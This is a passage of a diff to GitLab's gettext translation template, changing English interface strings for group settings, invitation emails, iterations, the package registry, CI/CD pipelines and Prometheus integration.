msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr ""
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr ""
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
